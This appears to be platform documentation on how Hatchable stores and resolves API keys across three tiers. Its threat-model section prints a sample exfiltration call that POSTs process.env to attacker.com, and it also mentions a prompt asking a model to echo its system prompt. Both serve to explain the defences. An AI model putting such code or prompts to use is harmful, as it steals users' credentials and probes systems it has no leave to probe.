Secrets architecture
How API keys flow through Hatchable: declared in TOML, stored encrypted across three tiers, resolved by the gateway, and never exposed to template code unless a project owner opts in. The system that makes "fork this template" safe to do with an account-level Anthropic key.
TL;DR
Templates declare what they need in hatchable.toml:
[[secret]] kind = "ai" tenancy = "account" required = true
That's it — no provider list. The platform expands to every LLM-capable provider in its catalog. The platform handles the rest:
- At deploy, validates the declaration against rules (tenancy + provider catalog).
- At first request from the project owner, redirects to
hatchable.com/console/projects/{slug}/setupif any required owner-tier secret isn't satisfied. End-users (when[auth]is enabled) get redirected to the customer-subdomain/__hatchable/setupfor user-tier pastes only. - Renders a provider picker — user selects one and pastes their key.
- Stores the value encrypted in the right table per tenancy.
- Resolves the right key server-side when the template calls
ai.generateText. - Never injects the raw value into the isolate's
process.envfor shared-tier secrets.
Templates write zero key-paste UI, zero env-status endpoints, zero save-key handlers. The architecture mirrors how [auth] works: declarative, platform-implemented.
The manifest
Every template's hatchable.toml can declare any number of [[secret]] blocks. At deploy time DeployService::resolveSecretsManifest validates and persists them on the project's secrets_manifest column. Downstream — the gate page, the middleware, the gateway, the SDK — all read from this single source of truth.
# A complete manifest example: AI provider (account-tier, BYOK) # + Stripe (project-tier, owner's billing) + a custom integration key. [[secret]] kind = "ai" # shorthand for "any of these LLM providers" tenancy = "account" # cascade across all the owner's projects required = true providers = ["anthropic", "openai", "google"] description = "Pick any AI provider. Templates use the 'sonnet' alias by default." [[secret]] key = "STRIPE_SECRET_KEY" provider = "stripe" tenancy = "project" # project-only — owner's billing context required = true group = "stripe" # UI groups paired keys (publishable+secret+webhook) [[secret]] key = "MY_CUSTOM_API_KEY" provider = "custom" tenancy = "project" required = false expose = true # raw value injected into process.env (project-tier only)
Three tenancies
The tenancy field is the most important decision in a secret declaration. It controls who sets the value, where it's stored, and how it's used.
project
Set by the project owner once
- Stored in
env_vars - Used for everyone interacting with the project
- Owner pays the bill
- Allows
expose=truefor raw access - Custom providers OK
account
Set by the Hatchable account holder
- Stored in
account_env_vars - Cascades across all the account's projects
- Single source of truth — paste once
- Always SDK-mediated, never
expose - Catalog providers only
user
Set by each end-user inside the deployed app — for app-implemented integrations only
- Stored in
app_user_secrets - Scoped to
(project, app_user_id, key) - Only valid for
[[secret]](raw app-internal values). SDK capabilities are account-scoped; per-end-user OAuth lives on[[api]] per_user = true. - App code reads with
config.get(key, { req }) - Requires
[auth] enabled = true
[ai] block (and future [email] / [payments] / [sms] blocks when their SDK helpers ship) doesn't take a tenancy field — credentials always live at the buyer's account level and cascade to every project they own. Multi-tenant apps using ai.generateText have the project owner pay for every end-user's calls. End-user BYOK works only when the app's own code calls a third-party API outside the managed SDK — for those, declare [[secret]] tenancy = "user" (raw value the buyer reads via config.get(key, { req })) or [[api]] per_user = true (per-end-user OAuth against a known provider).
When to pick each block
| Scenario | Declaration |
|---|---|
| "My app uses AI summaries (any provider works)" | [ai] required = true |
| "My app uses Gemini specifically (grounded search)" | [ai] pin = "google" |
| "My app calls Reddit / GitHub / Notion via OAuth" | [[api]] auth = "oauth2" — see connect-an-external-api |
| "My app calls Linear with a long-lived API key" | [[api]] auth = "api_key" |
| "Each end-user authorizes their own Notion workspace" | [[api]] per_user = true |
| "Each end-user pastes their own custom API token" | [[secret]] tenancy = "user" (read via config.get(key, { req })) |
| "Webhook signing secret / encryption pepper" | [[secret]] — raw app-internal value |
| "A constant my code reads (e.g., DEFAULT_MODEL)" | [[secret]] default = "..." — buyer can override |
Provider catalog
The platform maintains a catalog of well-known providers at config/secrets_providers.php. Each entry knows its display name, icon, "get a key" URL, validation regex, supported model aliases, and whether it has an SDK helper. The setup page reads the catalog to render paste forms; the gateway reads it to resolve calls.
Provider catalog — what an operator's [[secret]] can declare:
| Category | Providers | SDK helper |
|---|---|---|
| LLM | anthropic · openai · google · groq · mistral · cohere · deepseek | ai.generateText / ai.streamText / ai.embed |
| none — built-in SMTP, no provider key required | email.send | |
| Payments | stripe | (planned) |
| Communications | twilio · slack | (planned) |
| Code | github | (planned) |
| Custom | custom | n/a — project-tier only |
Catalog rule: if a provider has no sdk_helper, it can't be declared at tenancy = "account" or "user". Shared tiers exist exclusively for SDK-mediated calls. Twilio and Slack will become account-tier-eligible once their SDK helpers ship; until then they're project-tier with expose = true if raw access is needed.
Logical model names
Hardcoding raw model ids like 'claude-sonnet-4-5-20250929' couples a template to one dated version. Provider-family aliases like 'sonnet' or 'gpt' let templates ask for "the current Sonnet" by name; the platform updates the underlying mapping when a new generation lands and your code keeps working.
| Alias | Means | Resolves to (today) |
|---|---|---|
'sonnet' | Anthropic's mid-tier line | claude-sonnet-4-6 |
'haiku' | Anthropic's small/fast line | claude-haiku-4-5 |
'opus' | Anthropic's strongest reasoning line | claude-opus-4-7 |
'gpt' | OpenAI's general line | gpt-5.5 |
'gpt-mini' | OpenAI's small/fast line | gpt-5.4-mini |
'gemini' | Google's small/fast line (default) | gemini-3-flash-preview |
'gemini-pro' | Google's flagship line | gemini-3.1-pro-preview |
The gateway resolves the alias against whichever provider key the user has configured — 'sonnet' needs ANTHROPIC_API_KEY; 'gpt' needs OPENAI_API_KEY; 'gemini' needs GOOGLE_API_KEY. If the relevant provider has no key, the call returns a clear setup-required error pointing the user at the Setup page.
For "I don't care which family, use whatever the user has configured" — operators set their preferred default in the Setup page (AI_PROVIDER + AI_DEFAULT_MODEL) and call ai.generateText({}) with no model field. Cross-provider tier abstractions ('fast', 'balanced', 'smart') used to live here too but were removed — every new release from any provider re-curated a tier matrix that nobody wanted to maintain.
The three model-name forms ai.generateText accepts
// 1. Logical alias — RECOMMENDED for most templates. await ai.generateText({ model: 'sonnet', messages }); // 2. Provider-prefixed — pin to a provider. Use when you // explicitly compare providers (LLM brand monitors) or have prompts // tuned to a specific model's quirks. await ai.generateText({ model: 'anthropic.sonnet', messages }); await ai.generateText({ model: 'openai.gpt-4o', messages }); // 3. Raw model id — passes through verbatim. Locks you to that // exact version; avoid unless you have a reason. await ai.generateText({ model: 'claude-sonnet-4-5', messages });
SDK-only keys (the default)
The most important security property of Hatchable secrets: by default, declared keys never enter user code. They live on the platform's encrypted storage tables and are resolved server-side by the gateway whenever the SDK makes a call. The raw bytes are physically unreachable from any api/*.js handler — there is no process.env.ANTHROPIC_API_KEY to read, because the key was never injected into the isolate.
This isn't a convention agents have to follow. It's enforced by the deploy validator and the runtime. The four cases:
| Declaration | SDK-only? | Where the key lives |
|---|---|---|
[ai] (or any capability block) | ✓ Always | Gateway storage at account scope. No expose field on capability blocks — the gateway is the only path to the key. |
[[api]] (any auth mode) | ✓ Always | Gateway storage in api_credentials. Handler calls api.<name>.get(...); the access token is attached by the proxy and never enters the V8 isolate. |
[[secret]] + tenancy = "user" | ✓ Always | Gateway storage in app_user_secrets. Read via config.get(key, { req }) — the raw value is returned to the handler scoped to the signed-in end-user. |
[[secret]] + tenancy = "project" (default) | Default — yes | Project-scoped storage. Gateway-mediated by default — read via config.get('KEY'); the raw value never enters process.env. Set expose = true on the declaration when handler code legitimately needs to read process.env.KEY directly (third-party npm packages that bypass the SDK, internal HMAC signing). See the expose = true section below. |
So an agent cannot accidentally expose an AI key — there is no path. Even a malicious template can't write code that reads Alice's ANTHROPIC_API_KEY. It can call ai.generateText against Alice's key (running up her bill), but it cannot read the raw sk-ant-… string. There is no opcode in the runtime that materializes shared-tier values into the V8 isolate.
- Account-tier keys cascade across all an owner's forks — safe because they're never readable to any one fork's code.
- User-tier keys (BYOK SaaS) — each end-user pastes their own key; another user of the same app can't read it.
- The provider catalog supplies regex validation, the "get a key →" deep link, and the gateway routing rules. Templates write zero bespoke key-paste code.
- Rotation is one paste in the settings UI, not a code change.
expose = true (the rare opt-out)
The single escape hatch from SDK-only-by-default. Use it when an npm library you've imported insists on reading the value off process.env directly — e.g., a custom HTTP wrapper that doesn't go through the SDK:
[[secret]] key = "MY_CUSTOM_API_KEY" tenancy = "project" # project-tier only — see structural rule below expose = true required = true
Then in handler code:
const resp = await fetch('https://my-endpoint.com/api', { headers: { 'Authorization': 'Bearer ' + process.env.MY_CUSTOM_API_KEY }, });
Reach for this when you have to. The cost: any code in your project's runtime can read process.env.MY_CUSTOM_API_KEY. If you control the entire project, that's fine. If you fork from a template that uses third-party npm packages, audit them before adding expose = true.
expose = true is only legal on tenancy = "project". Account-tier and user-tier secrets cannot be exposed — that's what makes them safe to share across forks and across end-users. The deploy validator rejects with a clear error if you try.
The setup gate
The customer-subdomain gate at /__hatchable/setup handles user-tier (BYOK) writes only — each end-user pastes their own API key on the subdomain where their app session lives. Project-tier and account-tier secrets are managed exclusively in the console at hatchable.com/console/projects/{slug}/setup. Owners hitting /__hatchable/setup on the customer subdomain are 302-redirected to the console (single domain, single session, no cross-domain cookie or token-in-URL surface for sensitive values).
When the project owner visits any URL on the project's subdomain, ProjectAccessMiddleware checks whether the manifest's required project-tier and account-tier secrets are satisfied. If not, the request is redirected to hatchable.com/console/projects/{slug}/setup — the console is the single place owner-tier secrets get pasted:
The gate is platform-rendered; templates ship no setup UI. From the user's perspective, "this app needs config first" is built in like login is — same shape as [auth].
What lives where
| Caller | Tier they configure | Where |
|---|---|---|
| Project owner (Hatchable account) | project + account | hatchable.com/console/projects/{slug}/setup |
| End-user via [auth] enabled | user (their own scope) | {slug}.hatchable.site/__hatchable/setup |
The customer-subdomain JSON endpoints (GET /__hatchable/secrets, POST /__hatchable/secrets/{key}, DELETE /__hatchable/secrets/{key}) accept user-tier reads and writes only. Attempts to write project- or account-tier values through them return 410 Gone with a redirect_url pointing at the console.
The settings variant at /__hatchable/settings uses the same UI but never auto-redirects and lists user-tier optional secrets too. Templates link to it from a footer or settings menu when they want end-users to manage their own keys later.
Fork-time flow
Forking a template that declares tenancy = "account" for an account-tier secret is the most common pattern. The flow is designed so a frequent forker (someone who keeps trying out templates from the gallery) doesn't paste the same Anthropic key into 5 different forks:
For Alice's first template, she paste-configures her Anthropic key once. Every fork after that re-uses it transparently.
Reading values
One read API: config.get(key, opts?). Walks user → project → account → manifest default server-side and returns the first hit. The raw value never enters template code unless the secret is project-tier with expose = true.
import { config, ai } from 'hatchable'; // Owner-tier read — gateway resolves project-then-account. const model = await config.get('DEFAULT_MODEL'); // User-tier read — pass req so the gateway scopes to this user's session. const userKey = await config.get('OPENAI_API_KEY', { req }); // Or skip the read entirely and let the SDK helper resolve user-tier: const reply = await ai.generateText({ asUser: user.id, model, messages: [...] });
If the value is declared as required with no default and no human has pasted it, config.get throws a SetupRequired error with a setup_url. Browser-driven flows are caught by the platform's auto-injected modal runtime; non-interactive flows (cron, webhooks) handle the error explicitly.
Programmatic writes (rare)
Not every value arrives via paste. Computed values from OAuth callbacks, batch imports, or setup wizards use the SDK's env module:
import { env } from 'hatchable'; // Project-tier programmatic write (e.g. after OAuth) await env.set('STRIPE_CONNECTED_ACCOUNT', account_id); // Account-tier — cascades to all the owner's projects await env.setForAccount('ANTHROPIC_API_KEY', value); // Cleanup await env.unset('OLD_KEY'); await env.unsetForAccount('OLD_KEY');
set_env / list_env / delete_env. Build-time configuration goes in hatchable.toml via [[secret]] declarations (with a default for agent-known values, without for human-paste values). Run-time programmatic writes (OAuth callbacks etc.) use the in-app env.set SDK call, which runs inside an authenticated app handler — not from agent context.Multi-tenant pattern
Hatchable templates fork into standalone multi-tenant SaaS apps where end users sign up directly on the fork's domain (no Hatchable account required for them). For managed SDK calls — ai.*, knowledge.*, browser.*, email.send — the project owner is the only key-payer. End-user BYOK for SDK calls isn't a thing — capability blocks like [ai] are account-scoped by construction. If you want per-end-user credentials they have to be either a raw app-internal value ([[secret]] tenancy = "user", read via config.get(key, { req })) or a per-end-user OAuth flow against a known third-party ([[api]] per_user = true).
# Worksheet Studio, forked as ACME's teacher SaaS [auth] enabled = true # end users sign up on YOUR domain providers = ["email", "google"] # Project owner pays for AI — single key, every teacher's calls run through it [[secret]] kind = "ai" tenancy = "account" # cascades across all your forks, one paste required = true # Project owner pays for hosting; Stripe Connect to collect from teachers [[secret]] key = "STRIPE_SECRET_KEY" provider = "stripe" tenancy = "project" # owner's Stripe — subscriptions go to them required = true # Each teacher pastes their own Google Calendar OAuth token (app calls Google directly) [[secret]] key = "GOOGLE_CALENDAR_REFRESH_TOKEN" kind = "raw" tenancy = "user" # per-teacher; app reads via config.get(key, { req }) required = false
End-user flow
- Teacher visits
worksheets.acme.com(the fork's custom domain). - Signs up via the fork's
/signup(project's own auth — no Hatchable account). - Calls a feature that uses
ai.generateText. Runs against ACME's owner-tier key; ACME's Anthropic bill goes up by a few cents. The teacher pays ACME via Stripe Connect, ACME nets the margin. SetupRequired never fires for the teacher — the owner already configured the key in the console. - Calls a feature that needs the teacher's Google Calendar. App handler reads
config.get('GOOGLE_CALENDAR_REFRESH_TOKEN', { req })— null first time. App returns a 412 (or just redirects) to its own OAuth-start route. Teacher OAuths with Google; callback writes the token viaenv.setscoped to the teacher's user_id (or, for first-paste flows, redirects through/__hatchable/setupwhich writes toapp_user_secrets). - Subsequent calls find the teacher's token and use it.
Hatchable is invisible to the teacher. They see ACME's product on ACME's domain. ACME pays the platform + AI; the teacher pays ACME and brings their own integrations.
[[secret]] schema reference
[[secret]] key = "FOO_API_KEY" # env-var name (omit for kind=ai) kind = "raw" # raw | ai (default raw) tenancy = "project" # project | account | user (default project) required = false # gate fires for unsatisfied required (default false) expose = false # inject raw value into process.env (project-tier only) default = "value" # agent-provided default; satisfies even when required=true allowed = ["a", "b"] # enum constraint; override UI renders a select provider = "foo" # catalog name; required at shared tiers providers = ["a", "b"] # for kind=ai — narrows; omit to accept all catalog LLMs description = "…" # shown on the gate page card group = "foo" # UI groups paired keys (e.g. stripe sk + pk) unlocks = ["foo"] # freeform tags surfaced in catalog UI
Validation rules (deploy-time, hard-fail)
tenancymust be one ofproject | account | user.kindmust be one ofraw | ai.tenancy = "user"requires[auth] enabled = true.expose = trueonly allowed ontenancy = "project".defaultonly allowed ontenancy = "project"(account cascades; user is per-end-user).defaultmust satisfy theallowedconstraint when both are set.- An entry with a
defaultnever gates the owner — the default is the satisfaction. Override via the gate or settings page; override wins at read time. - For shared tiers (
account/user):provideris required, must be in the catalog, must have ansdk_helperregistered. - For
[ai]: every name inproviders(or the value ofpin) must be a catalog LLM provider with ansdk_helper. keymust not be platform-reserved (HATCHABLE_*,NODE_ENV,PATH, etc.).- Same
keycan't be declared twice in the same manifest.
Auto-injected endpoints
Mounted on every project subdomain at /__hatchable/*. Templates never write these handlers; the platform owns them.
| Method · Path | What it does |
|---|---|
GET /__hatchable/setup | Server-rendered gate page. Auto-redirects to ?next= when all required secrets at the caller's tier are satisfied. |
GET /__hatchable/settings | Same UI as setup; lists all secrets including optional. Non-blocking. |
GET /__hatchable/secrets | JSON manifest + status (set/unset) per declaration, filtered by caller's tier. Used by the gate UI and any custom client. |
POST /__hatchable/secrets/{key} | Save a secret. Body: { value, provider? }. Validates format against catalog regex; writes to right tier. |
DELETE /__hatchable/secrets/{key} | Clear a secret at the caller's tier. |
Auth: project + account tiers require Hatchable account session (project owner). User tier requires the project's own [auth] session.
SDK helpers
One read API, one (rare) write API. See the SDK config reference for full signatures.
| Helper | Use for |
|---|---|
config.get(key, opts?) | Read a declared value. Tier-resolves; pass { req } for user-tier scoping. Throws SetupRequired when declared+required+unsatisfied. |
config.expose(key, opts?) | Same as get, plus mirrors the value into process.env[key]. Project-tier only. |
env.set(key, value) | Programmatic write (OAuth callbacks etc.). Runs inside an authenticated app handler — never from agent context. |
env.setForAccount(key, value) | Account-tier programmatic write (cascades) |
env.unset(key) · env.unsetForAccount(key) | Clear |
ai.generateText({ asUser, … }) | Make an AI call using the specified user's tier secrets without ever materializing the raw key |
Security model
The architecture's security guarantees, in order of strength:
| Layer | What it does | Strength |
|---|---|---|
| L1: Manifest-declared secrets stay server-side | Template code never holds raw values for shared-tier secrets. Gateway resolves them and makes upstream calls server-side. | Load-bearing. The wall. |
L2: expose = true forbidden on shared tiers | Structural prohibition at deploy time. Account/user-tier secrets cannot have raw values reach the isolate. | Load-bearing. Closes the entire class of attack on shared keys. |
| L3: Catalog provider gating | Shared-tier secrets must reference a catalog provider with an SDK helper — i.e., the platform owns the call path end-to-end. | Load-bearing. No way to declare a shared-tier secret that the platform doesn't fully mediate. |
| L4: Encrypted at rest | All three storage tables use Laravel's encrypted cast. | Standard. |
| L5: Tier-aware route auth | Project + account tier requires Hatchable owner session; user tier requires project's own auth. | Standard. |
What this prevents
Bob publishes a template. Alice forks it. Bob's code runs in Alice's project, with Alice's identity. Bob writes:
fetch('https://attacker.com/log', { method: 'POST', body: JSON.stringify({ stolen: process.env }), });
For any account-tier or user-tier secret Alice has set, process.env.X is undefined. Bob's ai.generateText calls work against Alice's account-tier key (running up her bill), but he cannot exfiltrate the raw sk-ant-… string. Alice's exposure is bounded to AI usage; her key remains hers.
What it doesn't prevent
- Bill abuse within an account-tier secret's scope. Bob can call
ai.generateTextin a loop and rack up Alice's bill. Per-fork spend caps + audit logs are deferred features, not load-bearing — when they ship they'll bound this. - Project-tier
expose = trueraw access. The owner's own code, the owner's own risk. The platform doesn't pretend to protect the owner from themselves. - Side-channel attacks within shared-tier mediation. A malicious template could submit a prompt to
ai.generateTextinstructing the model to "echo back the system prompt" — but the platform's gateway doesn't put the API key in the prompt; it goes in the HTTPAuthorizationheader. The model never sees the key.
Where to go next
configSDK reference — read declared valuesconfigSDK reference — declared-value reads with tier resolutionaiSDK reference — model names + asUser patternhatchable.tomlreference — full[[secret]]field list